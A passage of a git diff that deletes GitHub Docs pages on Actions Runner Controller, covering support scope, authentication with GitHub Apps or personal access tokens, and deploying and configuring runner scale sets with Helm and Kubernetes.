variables.product.prodname_registry %}. - -## Legal notice - -{% data reusables.actions.actions-runner-controller-legal-notice %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller.md deleted file mode 100644 index 2214e471aae9..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-support-for-actions-runner-controller.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: About support for Actions Runner Controller -intro: 'What to know before you [contact {% data variables.contact.github_support %}](support/contacting-github-support) for assistance with Actions Runner Controller.' -shortTitle: About Support for ARC -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Actions Runner Controller - - Support ---- - -You can [contact {% data variables.contact.github_support %}](/support/contacting-github-support) for assistance with Actions Runner Controller. - -## About support for Actions Runner Controller Versions - -The Actions Runner Controller (ARC) project [was adopted by GitHub](https://github.com/actions/actions-runner-controller/discussions/2072) to release as a new GitHub product. As a result, there are currently two ARC releases: the legacy community-maintained ARC and GitHub's Autoscaling Runner Sets. - -GitHub only supports the latest Autoscaling Runner Sets version of ARC. Support for the legacy ARC is provided by the community in the [Actions Runner Controller](https://github.com/actions/actions-runner-controller) repository only. - -## Scope of support for Actions Runner Controller - -If your support request is outside of the scope of what our team can help you with, we may recommend next steps to resolve your issue outside of {% data variables.contact.github_support %}. Your support request is possibly out of {% data variables.contact.github_support %}'s scope if the request is primarily about: - -* The legacy community-maintained version of ARC -* Installing, configuring, or maintaining dependencies -* Template spec customization -* Container orchestration, such as Kubernetes setup, networking, building images in ARC (DinD), etc. -* Applying Kubernetes policies -* Managed Kubernetes providers or provider-specific configurations -* [Runner Container Hooks](https://github.com/actions/runner-container-hooks) in conjunction with ARC's `kubernetes` mode -* Installation tooling other than Helm -* Storage provisioners and PersistentVolumeClaims (PVCs) -* Best practices, such as configuring metrics servers, image caching, etc. - -While ARC may be deployed successfully with different tooling and configurations, your support request is possibly out of {% data variables.contact.github_support %}'s scope if ARC has been deployed with: - -* Installation tooling other than Helm -* Service account and/or template spec customization - -If you're uncertain if the issue is out of scope, open a ticket and we're happy to help you determine the best way to proceed. - -For more information about contacting {% data variables.contact.github_support %}, see [AUTOTITLE](/support/contacting-github-support). - -> [!NOTE] -> * OpenShift clusters are currently unsupported. -> * ARC is only supported on GitHub Enterprise Server versions 3.9 and greater. - -## Working with {% data variables.contact.github_support %} for Actions Runner Controller - -{% data variables.contact.github_support %} may ask questions about your Actions Runner Controller deployment and request that you collect and attach the [controller, listener](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors#checking-the-logs-of-the-controller-and-runner-set-listener), and runner logs to the support ticket. diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api.md deleted file mode 100644 index a7d3b9fc2572..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: Authenticating to the GitHub API -shortTitle: Authenticating -intro: 'Learn how to authenticate to the {% data variables.product.company_short %} API to use {% data variables.product.prodname_actions_runner_controller %} with {% data variables.product.github %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Actions Runner Controller -defaultPlatform: linux ---- - -[Legal notice](#legal-notice) - -## Overview - -You can authenticate {% data variables.product.prodname_actions_runner_controller %} (ARC) to the {% data variables.product.prodname_dotcom %} API by using a {% data variables.product.prodname_github_app %} or by using a {% data variables.product.pat_v1 %}. - -> [!NOTE] -> You cannot authenticate using a {% data variables.product.prodname_github_app %} for runners at the enterprise level. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups#about-runner-groups). - -## Authenticating ARC with a {% data variables.product.prodname_github_app %} - -1. Create a {% data variables.product.prodname_github_app %} that is owned by an organization. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). Configure the {% data variables.product.prodname_github_app %} as follows. - - 1. For "Homepage URL," enter `https://github.com/actions/actions-runner-controller`. - - 1. Under "Permissions," click **Repository permissions**. Then use the dropdown menus to select the following access permissions. - * **Administration:** Read and write - - > [!NOTE] - > `Administration: Read and write` is only required when configuring {% data variables.product.prodname_actions_runner_controller %} to register at the repository scope. It is not required to register at the organization scope. - - * **Metadata:** Read-only - - 1. Under "Permissions," click **Organization permissions**. Then use the dropdown menus to select the following access permissions. - * **Self-hosted runners:** Read and write - -{% data reusables.actions.arc-app-post-install-steps %} - -1. In the menu at the top-left corner of the page, click **Install app**, and next to your organization, click **Install** to install the app on your organization. - -1. After confirming the installation permissions on your organization, note the app installation ID. You will use it later. You can find the app installation ID on the app installation page, which has the following URL format: - - `https://{% data variables.product.product_url %}/organizations/ORGANIZATION/settings/installations/INSTALLATION_ID` - -{% data reusables.actions.arc-app-post-install-set-secrets %} - -## Authenticating ARC with a {% data variables.product.pat_v1 %} - -ARC can use {% data variables.product.pat_v1_plural %} to register self-hosted runners. - -{% ifversion ghec or ghes %} - -> [!NOTE] -> Authenticating ARC with a {% data variables.product.pat_v1 %} is the only supported authentication method to register runners at the enterprise level. - -{% endif %} - -1. Create a {% data variables.product.pat_v1 %} with the required scopes. The required scopes are different depending on whether you are registering runners at the repository{% ifversion ghec or ghes %}, organization, or enterprise{% else %} or organization{% endif %} level. For more information on how to create a {% data variables.product.pat_v1 %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-personal-access-token-classic). - - The following is the list of required {% data variables.product.pat_generic %} scopes for ARC runners. - * Repository runners: `repo` - * Organization runners: `admin:org` - {% ifversion ghec or ghes %} - * Enterprise runners: `manage_runners:enterprise` - {% endif %} -1. To create a Kubernetes secret with the value of your {% data variables.product.pat_v1 %}, use the following command. - - {% data reusables.actions.arc-runners-namespace %} - - ```bash copy - kubectl create secret generic pre-defined-secret \ - --namespace=arc-runners \ - --from-literal=github_token='YOUR-PAT' - ``` - -1. In your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file, pass the secret name as a reference. - - ```yaml - githubConfigSecret: pre-defined-secret - ``` - - {% data reusables.actions.actions-runner-controller-helm-chart-options %} - -## Legal notice - -{% data reusables.actions.actions-runner-controller-legal-notice %} diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller.md deleted file mode 100644 index f3ad244ac31f..000000000000 --- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller.md +++ /dev/null @@ -1,968 +0,0 @@ ---- -title: Deploying runner scale sets with Actions Runner Controller -shortTitle: Deploying runner scale sets -intro: 'Learn how to deploy runner scale sets with {% data variables.product.prodname_actions_runner_controller %}, and use advanced configuration options to tailor {% data variables.product.prodname_actions_runner_controller %} to your needs.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: overview -topics: - - Actions Runner Controller -defaultPlatform: linux ---- - -[Legal notice](#legal-notice) - -## About runner scale sets - -Runner scale sets is a group of homogeneous runners that can be assigned jobs from {% data variables.product.prodname_actions %}. The number of active runners owned by a runner scale set can be controlled by auto-scaling runner solutions such as {% data variables.product.prodname_actions_runner_controller %} (ARC). - -You can use runner groups to manage runner scale sets. Similar to self-hosted runners, you can add runner scale sets to existing runner groups. However, runner scale sets can belong to only one runner group at a time and can only have one label assigned to them. For more information on runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -To assign jobs to a runner scale set, you must configure your workflow to reference the runner scale set's name. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/using-actions-runner-controller-runners-in-a-workflow). - -## Deploying a runner scale set - -To deploy a runner scale set, you must have ARC up and running. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/quickstart-for-actions-runner-controller). - -You can deploy runner scale sets with ARC's Helm charts or by deploying the necessary manifests. Using ARC's Helm charts is the preferred method, especially if you do not have prior experience using ARC. - -> [!NOTE] -> * {% data reusables.actions.actions-runner-controller-security-practices-namespace %} -> * {% data reusables.actions.actions-runner-controller-security-practices-secret %} -> * We recommend running production workloads in isolation. {% data variables.product.prodname_actions %} workflows are designed to run arbitrary code, and using a shared Kubernetes cluster for production workloads could pose a security risk. -> * Ensure you have implemented a way to collect and retain logs from the controller, listeners, and ephemeral runners. - -1. To configure your runner scale set, run the following command in your terminal, using values from your ARC configuration. - - When you run the command, keep the following in mind. - - * Update the `INSTALLATION_NAME` value carefully. You will use the installation name as the value of [`runs-on`](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idruns-on) in your workflows. - * Update the `NAMESPACE` value to the location you want the runner pods to be created. - * Set the `GITHUB_CONFIG_URL` value to the URL of your repository, organization, or enterprise. This is the entity that the runners will belong to. - * This example command installs the latest version of the Helm chart. To install a specific version, you can pass the `--version` argument with the version of the chart you want to install. You can find the list of releases in the [`actions-runner-controller`](https://github.com/actions/actions-runner-controller/pkgs/container/actions-runner-controller-charts%2Fgha-runner-scale-set) repository. - {% ifversion not ghes %} - - ```bash copy - INSTALLATION_NAME="arc-runner-set" - NAMESPACE="arc-runners" - GITHUB_CONFIG_URL="https://github.com/<your_enterprise/org/repo>" - GITHUB_PAT="<PAT>" - helm install "{% raw %}${INSTALLATION_NAME}{% endraw %}" \ - --namespace "{% raw %}${NAMESPACE}{% endraw %}" \ - --create-namespace \ - --set githubConfigUrl="{% raw %}${GITHUB_CONFIG_URL}{% endraw %}" \ - --set githubConfigSecret.github_token="{% raw %}${GITHUB_PAT}{% endraw %}" \ - oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set - ``` - - {% endif %} - {% ifversion ghes %} - - ```bash copy - INSTALLATION_NAME="arc-runner-set" - NAMESPACE="arc-runners" - GITHUB_CONFIG_URL="http(s)://<HOSTNAME>/<'enterprises/your_enterprise'/'org'/'org/repo'>" - GITHUB_PAT="<PAT>" - helm install "{% raw %}${INSTALLATION_NAME}{% endraw %}" \ - --namespace "{% raw %}${NAMESPACE}{% endraw %}" \ - --create-namespace \ - --set githubConfigUrl="{% raw %}${GITHUB_CONFIG_URL}{% endraw %}" \ - --set githubConfigSecret.github_token="{% raw %}${GITHUB_PAT}{% endraw %}" \ - oci://ghcr.io/actions/actions-runner-controller-charts/gha-runner-scale-set - ``` - - {% endif %} - - {% data reusables.actions.actions-runner-controller-helm-chart-options %} - -1. To check your installation, run the following command in your terminal. - - ```bash copy - helm list -A - ``` - - You should see an output similar to the following. - - ```bash - NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION - arc arc-systems 1 2023-04-12 11:45:59.152090536 +0000 UTC deployed gha-runner-scale-set-controller-0.4.0 0.4.0 - arc-runner-set arc-systems 1 2023-04-12 11:46:13.451041354 +0000 UTC deployed gha-runner-scale-set-0.4.0 0.4.0 - ``` - -1. To check the manager pod, run the following command in your terminal. - - ```bash copy - kubectl get pods -n arc-systems - ``` - - If the installation was successful, the pods will show the `Running` status. - - ```bash - NAME READY STATUS RESTARTS AGE - arc-gha-runner-scale-set-controller-594cdc976f-m7cjs 1/1 Running 0 64s - arc-runner-set-754b578d-listener 1/1 Running 0 12s - ``` - -If your installation was not successful, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/troubleshooting-actions-runner-controller-errors) for troubleshooting information. - -## Using advanced configuration options - -ARC offers several advanced configuration options. - -### Configuring the runner scale set name - -> [!NOTE] -> Runner scale set names are unique within the runner group they belong to. If you want to deploy multiple runner scale sets with the same name, they must belong to different runner groups. - -To configure the runner scale set name, you can define an `INSTALLATION_NAME` or set the value of `runnerScaleSetName` in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file. - -```yaml -## The name of the runner scale set to create, which defaults to the Helm release name -runnerScaleSetName: "my-runners" -``` - -Make sure to pass the `values.yaml` file in your `helm install` command. See the [Helm Install](https://helm.sh/docs/helm/helm_install/) documentation for more details. - -### Choosing runner destinations - -Runner scale sets can be deployed at the repository, organization, or enterprise levels. - -{% ifversion ghec or ghes %} - -> [!NOTE] -> You can only deploy runner scale sets at the enterprise level when using {% data variables.product.pat_v1 %} authentication. - -{% endif %} - -To deploy runner scale sets to a specific level, set the value of `githubConfigUrl` in your copy of the `values.yaml` to the URL of your repository, organization, or enterprise. - -The following example shows how to configure ARC to add runners to `octo-org/octo-repo`. - -{% ifversion not ghes %} - -```yaml -githubConfigUrl: "https://github.com/octo-ent/octo-org/octo-repo" -``` - -{% endif %} -{% ifversion ghes %} - -```yaml -githubConfigUrl: "http(s)://<HOSTNAME>/<'enterprises/your_enterprise'/'org'/'org/repo'>" -``` - -{% endif %} - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Using a {% data variables.product.prodname_github_app %} for authentication - -If you are not using enterprise-level runners, you can use {% data variables.product.prodname_github_apps %} to authenticate with the {% data variables.product.company_short %} API. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/authenticating-to-the-github-api). - -> [!NOTE] -> Given the security risk associated with exposing your private key in plain text in a file on disk, we recommend creating a Kubernetes secret and passing the reference instead. - -You can either create a Kubernetes secret, or specify values in your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file. - -#### Option 1: Create a Kubernetes secret (recommended) - -Once you have created your {% data variables.product.prodname_github_app %}, create a Kubernetes secret and pass the reference to that secret in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file. - -{% data reusables.actions.arc-runners-namespace %} - -```bash -kubectl create secret generic pre-defined-secret \ - --namespace=arc-runners \ - --from-literal=github_app_id=123456 \ - --from-literal=github_app_installation_id=654321 \ - --from-file=github_app_private_key=private-key.pem -``` - -In your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) pass the secret name as a reference. - -```yaml -githubConfigSecret: pre-defined-secret -``` - -#### Option 2: Specify values in your `values.yaml` file - -Alternatively, you can specify the values of `app_id`, `installation_id` and `private_key` in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file. - -```yaml -## githubConfigSecret is the Kubernetes secret to use when authenticating with GitHub API. -## You can choose to use a GitHub App or a {% data variables.product.pat_v1 %} -githubConfigSecret: - ## GitHub Apps Configuration - ## IDs must be strings, use quotes - github_app_id: "123456" - github_app_installation_id: "654321" - github_app_private_key: | - -----BEGIN RSA PRIVATE KEY----- - ... - HkVN9... - ... - -----END RSA PRIVATE KEY----- -``` - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Managing access with runner groups - -You can use runner groups to control which organizations or repositories have access to your runner scale sets. For more information on runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups). - -To add a runner scale set to a runner group, you must already have a runner group created. Then set the `runnerGroup` property in your copy of the `values.yaml` file. The following example adds a runner scale set to the Octo-Group runner group. - -```yaml -runnerGroup: "Octo-Group" -``` - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Configuring an outbound proxy - -To force HTTP traffic for the controller and runners to go through your outbound proxy, set the following properties in your Helm chart. - -```yaml -proxy: - http: - url: http://proxy.com:1234 - credentialSecretRef: proxy-auth # a Kubernetes secret with `username` and `password` keys - https: - url: http://proxy.com:1234 - credentialSecretRef: proxy-auth # a Kubernetes secret with `username` and `password` keys - noProxy: - - example.com - - example.org -``` - -ARC supports using anonymous or authenticated proxies. If you use authenticated proxies, you will need to set the `credentialSecretRef` value to reference a Kubernetes secret. You can create a secret with your proxy credentials with the following command. - -{% data reusables.actions.arc-runners-namespace %} - -```bash copy - kubectl create secret generic proxy-auth \ - --namespace=arc-runners \ - --from-literal=username=proxyUsername \ - --from-literal=password=proxyPassword \ -``` - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Setting the maximum and minimum number of runners - -The `maxRunners` and `minRunners` properties provide you with a range of options to customize your ARC setup. - -> [!NOTE] -> ARC does not support scheduled maximum and minimum configurations. You can use a cronjob or any other scheduling solution to update the configuration on a schedule. - -#### Example: Unbounded number of runners - -If you comment out both the `maxRunners` and `minRunners` properties, ARC will scale up to the number of jobs assigned to the runner scale set and will scale down to 0 if there aren't any active jobs. - -```yaml -## maxRunners is the max number of runners the auto scaling runner set will scale up to. -# maxRunners: 0 - -## minRunners is the min number of idle runners. The target number of runners created will be -## calculated as a sum of minRunners and the number of jobs assigned to the scale set. -# minRunners: 0 -``` - -#### Example: Minimum number of runners - -You can set the `minRunners` property to any number and ARC will make sure there is always the specified number of runners active and available to take jobs assigned to the runner scale set at all times. - -```yaml -## maxRunners is the max number of runners the auto scaling runner set will scale up to. -# maxRunners: 0 - -## minRunners is the min number of idle runners. The target number of runners created will be -## calculated as a sum of minRunners and the number of jobs assigned to the scale set. -minRunners: 20 -``` - -#### Example: Set maximum and minimum number of runners - -In this configuration, {% data variables.product.prodname_actions_runner_controller %} will scale up to a maximum of `30` runners and will scale down to `20` runners when the jobs are complete. - -> [!NOTE] -> The value of `minRunners` can never exceed that of `maxRunners`, unless `maxRunners` is commented out. - -```yaml -## maxRunners is the max number of runners the auto scaling runner set will scale up to. -maxRunners: 30 - -## minRunners is the min number of idle runners. The target number of runners created will be -## calculated as a sum of minRunners and the number of jobs assigned to the scale set. -minRunners: 20 -``` - -#### Example: Jobs queue draining - -In certain scenarios you might want to drain the jobs queue to troubleshoot a problem or to perform maintenance on your cluster. If you set both properties to `0`, {% data variables.product.prodname_actions_runner_controller %} will not create new runner pods when new jobs are available and assigned. - -```yaml -## maxRunners is the max number of runners the auto scaling runner set will scale up to. -maxRunners: 0 - -## minRunners is the min number of idle runners. The target number of runners created will be -## calculated as a sum of minRunners and the number of jobs assigned to the scale set. -minRunners: 0 -``` - -### Custom TLS certificates - -> [!NOTE] -> If you are using a custom runner image that is not based on the `Debian` distribution, the following instructions will not work. - -Some environments require TLS certificates that are signed by a custom certificate authority (CA). Since the custom certificate authority certificates are not bundled with the controller or runner containers, you must inject them into their respective trust stores. - -```yaml -githubServerTLS: - certificateFrom: - configMapKeyRef: - name: config-map-name - key: ca.crt - runnerMountPath: /usr/local/share/ca-certificates/ -``` - -When you do this, ensure you are using the Privacy Enhanced Mail (PEM) format and that the extension of your certificate is `.crt`. Anything else will be ignored. - -The controller executes the following actions. - -* Creates a `github-server-tls-cert` volume containing the certificate specified in `certificateFrom`. -* Mounts that volume on path `runnerMountPath/<certificate name>`. -* Sets the `NODE_EXTRA_CA_CERTS` environment variable to that same path. -* Sets the `RUNNER_UPDATE_CA_CERTS` environment variable to `1` (as of version `2.303.0`, this will instruct the runner to reload certificates on the host). - -ARC observes values set in the runner pod template and does not overwrite them. - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Using a private container registry - -{% data reusables.actions.actions-runner-controller-unsupported-customization %} - -To use a private container registry, you can copy the controller image and runner image to your private container registry. Then configure the links to those images and set the `imagePullPolicy` and `imagePullSecrets` values. - -#### Configuring the controller image - -You can update your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set-controller/values.yaml) file and set the `image` properties as follows. - -```yaml -image: - repository: "custom-registry.io/gha-runner-scale-set-controller" - pullPolicy: IfNotPresent - # Overrides the image tag whose default is the chart appVersion. - tag: "0.4.0" - -imagePullSecrets: - - name: <registry-secret-name> -``` - -The listener container inherits the `imagePullPolicy` defined for the controller. - -#### Configuring the runner image - -You can update your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file and set the `template.spec` properties as follows. - -```yaml -template: - spec: - containers: - - name: runner - image: "custom-registry.io/actions-runner:latest" - imagePullPolicy: Always - command: ["/home/runner/run.sh"] - imagePullSecrets: - - name: <registry-secret-name> -``` - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Updating the pod specification for the runner pod - -{% data reusables.actions.actions-runner-controller-unsupported-customization %} - -You can fully customize the PodSpec of the runner pod and the controller will apply the configuration you specify. The following is an example pod specification. - -```yaml -template: - spec: - containers: - - name: runner - image: ghcr.io/actions/actions-runner:latest - command: ["/home/runner/run.sh"] - resources: - limits: - cpu: 500m - memory: 512Mi - securityContext: - readOnlyRootFilesystem: true - allowPrivilegeEscalation: false - capabilities: - add: - - NET_ADMIN -``` - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Updating the pod specification for the listener pod - -{% data reusables.actions.actions-runner-controller-unsupported-customization %} - -You can customize the PodSpec of the listener pod and the controller will apply the configuration you specify. The following is an example pod specification. - -> [!NOTE] -> It's important to not change the `listenerTemplate.spec.containers.name` value of the listener container. Otherwise, the configuration you specify will be applied to a new side-car container. - -```yaml -listenerTemplate: - spec: - containers: - # If you change the name of the container, the configuration will not be applied to the listener, - # and it will be treated as a side-car container. - - name: listener - securityContext: - runAsUser: 1000 - resources: - limits: - cpu: "1" - memory: 1Gi - requests: - cpu: "1" - memory: 1Gi -``` - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -## Using Docker-in-Docker or Kubernetes mode for containers - -{% data reusables.actions.actions-runner-controller-unsupported-customization %} - -If you are using container jobs and services or container actions, the `containerMode` value must be set to `dind` or `kubernetes`. - -* For more information on container jobs and services, see [AUTOTITLE](/actions/using-jobs/running-jobs-in-a-container). -* For more information on container actions, see [AUTOTITLE](/actions/creating-actions/creating-a-docker-container-action). - -### Using Docker-in-Docker mode - -> [!NOTE] -> The Docker-in-Docker container requires privileged mode. For more information, see [Configure a Security Context for a Pod or Container](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) in the Kubernetes documentation. -> -> By default, the `dind` container uses the `docker:dind` image, which runs the Docker daemon as root. You can replace this image with `docker:dind-rootless` as long as you are aware of the [known limitations](https://docs.docker.com/engine/security/rootless/#known-limitations) and run the pods with `--privileged` mode. To learn how to customize the Docker-in-Docker configuration, see [Customizing container modes](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller#customizing-container-modes). - -Docker-in-Docker mode is a configuration that allows you to run Docker inside a Docker container. In this configuration, for each runner pod created, ARC creates the following containers. - -* An `init` container -* A `runner` container -* A `dind` container - -To enable Docker-in-Docker mode, set the `containerMode.type` to `dind` as follows. - -```yaml -containerMode: - type: "dind" -``` - -The `template.spec` will be updated to the following default configuration. - -```yaml -template: - spec: - initContainers: - - name: init-dind-externals - image: ghcr.io/actions/actions-runner:latest - command: - ["cp", "-r", "/home/runner/externals/.", "/home/runner/tmpDir/"] - volumeMounts: - - name: dind-externals - mountPath: /home/runner/tmpDir - containers: - - name: runner - image: ghcr.io/actions/actions-runner:latest - command: ["/home/runner/run.sh"] - env: - - name: DOCKER_HOST - value: unix:///var/run/docker.sock - volumeMounts: - - name: work - mountPath: /home/runner/_work - - name: dind-sock - mountPath: /var/run - - name: dind - image: docker:dind - args: - - dockerd - - --host=unix:///var/run/docker.sock - - --group=$(DOCKER_GROUP_GID) - env: - - name: DOCKER_GROUP_GID - value: "123" - securityContext: - privileged: true - volumeMounts: - - name: work - mountPath: /home/runner/_work - - name: dind-sock - mountPath: /var/run - - name: dind-externals - mountPath: /home/runner/externals - volumes: - - name: work - emptyDir: {} - - name: dind-sock - emptyDir: {} - - name: dind-externals - emptyDir: {} -``` - -The values in `template.spec` are automatically injected and cannot be overridden. If you want to customize this setup, you must unset `containerMode.type`, then copy this configuration and apply it directly in your copy of the [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file. - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -### Using Kubernetes mode - -In Kubernetes mode, ARC uses runner container hooks to create a new pod in the same namespace to run the service, container job, or action. - -#### Prerequisites - -Kubernetes mode relies on persistent volumes to share job details between the runner pod and the container job pod. For more information, see the [Persistent Volumes](https://kubernetes.io/docs/concepts/storage/persistent-volumes/) section in the Kubernetes documentation. - -To use Kubernetes mode, you must do the following. - -* Create persistent volumes available for the runner pods to claim. -* Use a solution to automatically provision persistent volumes on demand. - -For testing, you can use a solution like [OpenEBS](https://github.com/openebs/openebs). - -#### Configuring Kubernetes mode - -To enable Kubernetes mode, set the `containerMode.type` to `kubernetes` in your [`values.yaml`](https://github.com/actions/actions-runner-controller/blob/master/charts/gha-runner-scale-set/values.yaml) file. - -```yaml -containerMode: - type: "kubernetes" - kubernetesModeWorkVolumeClaim: - accessModes: ["ReadWriteOnce"] - storageClassName: "dynamic-blob-storage" - resources: - requests: - storage: 1Gi -``` - -{% data reusables.actions.actions-runner-controller-helm-chart-options %} - -> [!NOTE] -> When Kubernetes mode is enabled, workflows that are not configured with a container job will fail with an error similar to: -> -> ```bash -> Jobs without a job container are forbidden on this runner, please add a 'container:' to your job or contact your self-hosted runner administrator. -> ``` -> -> To allow jobs without a job container to run, set `ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER` to `false` on your runner container. This instructs the runner to disable this check. -> -> ```yaml -> template: -> spec: -> containers: -> - name: runner -> image: ghcr.io/actions/actions-runner:latest -> command: ["/home/runner/run.sh"] -> env: -> - name: ACTIONS_RUNNER_REQUIRE_JOB_CONTAINER -> value: "false" -> ``` - -### Customizing container modes - -When you set the `containerMode` in the `values.yaml` file for the [`gha-runner-scale-set` helm chart](https://github.com/actions/actions-runner-controller/blob/5347e2c2c80fbc45be7390eab117e861d30776d1/charts/gha-runner-scale-set/values.yaml#L77), you can use either of the following values: - * `dind` or - * `kubernetes` - -Depending on which value you set for the `containerMode`, a configuration will automatically be injected into the `template` section of the `values.yaml` file for the `gha-runner-scale-set` helm chart. -* See the [`dind` configuration](https://github.com/actions/actions-runner-controller/blob/5347e2c2c80fbc45be7390eab117e861d30776d1/charts/gha-runner-scale-set/values.yaml#L110). -* See the [`kubernetes` configuration](https://github.com/actions/actions-runner-controller/blob/5347e2c2c80fbc45be7390eab117e861d30776d1/charts/gha-runner-scale-set/values.yaml#L160). - -To customize the spec, comment out or remove `containerMode`, and append the configuration you want in the `template` section. - -#### Example: running `dind-rootless` - -Before deciding to run `dind-rootless`, make sure you are aware of [known limitations](https://docs.docker.com/engine/security/rootless/#known-limitations). -{% ifversion not ghes %} - -```yaml -## githubConfigUrl is the GitHub url for where you want to configure runners -## ex: https://github.com/myorg/myrepo or https://github.com/myorg -githubConfigUrl: "https://github.com/actions/actions-runner-controller" - -## githubConfigSecret is the k8s secrets to use when auth with GitHub API. -## You can choose to use GitHub App or a PAT token -githubConfigSecret: my-super-safe-secret - -## maxRunners is the max number of runners the autoscaling runner set will scale up to. -maxRunners: 5 - -## minRunners is the min number of idle runners. The target number of runners created will be -## calculated as a sum of minRunners and the number of jobs assigned to the scale set. -minRunners: 0 - -runnerGroup: "my-custom-runner-group" - -## name of the runner scale set to create. Defaults to the helm release name -runnerScaleSetName: "my-awesome-scale-set" - -## template is the PodSpec for each runner Pod -## For reference: https://kubernetes.io/docs/reference/kubernetes-api/workload-resources/pod-v1/#PodSpec -template: - spec: - initContainers: - - name: init-dind-externals - image: ghcr.io/actions/actions-runner:latest - command: ["cp", "-r", "/home/runner/externals/.", "/home/runner/tmpDir/"] - volumeMounts: - - name: dind-externals - mountPath: /home/runner/tmpDir - - name: init-dind-rootless - image: docker:dind-rootless - command: - - sh - - -c - - | - set -x - cp -a /etc/. /dind-etc/ - echo 'runner:x:1001:1001:runner:/home/runner:/bin/ash' >> /dind-etc/passwd - echo 'runner:x:1001:' >> /dind-etc/group - echo 'runner:100000:65536' >> /dind-etc/subgid - echo 'runner:100000:65536' >> /dind-etc/subuid - chmod 755 /dind-etc; - chmod u=rwx,g=rx+s,o=rx /dind-home - chown 1001:1001 /dind-home - securityContext: - runAsUser: 0 - volumeMounts: - - mountPath: /dind-etc - name: dind-etc - - mountPath: /dind-home - name: dind-home - containers: - - name: runner - image: ghcr.io/actions/actions-runner:latest - command: ["/home/runner/run.sh"] - env: - - name: DOCKER_HOST - value: unix:///run/user/1001/docker.sock - securityContext: - privileged: true - runAsUser: 1001 - runAsGroup: 1001 - volumeMounts: - - name: work - mountPath: /home/runner/_work - - name: dind-sock - mountPath: /run/user/1001 - - name: dind - image: docker:dind-rootless - args: - - dockerd - - --host=unix:///run/user/1001/docker.sock - securityContext: - privileged: true - runAsUser: 1001 - runAsGroup: 1001 - volumeMounts: - - name: work - mountPath: /home/runner/_work - - name: dind-sock - mountPath: /run/user/1001 - - name: dind-externals - mountPath: /home/runner/externals - - name: dind-etc - mountPath: /etc - - name: dind-home - mountPath: /home/runner - volumes: - - name: work - emptyDir: {} - - name: dind-externals - emptyDir: {} - - name: dind-sock - emptyDir: {} - - name: dind-etc - emptyDir: {} - - name: dind-home - emptyDir: {} -``` - -{% endif %} -{% ifversion ghes %} - -```yaml -## githubConfigUrl is the GitHub url for where you want to configure runners -## ex: https://<HOSTNAME>/enterprises/my_enterprise or 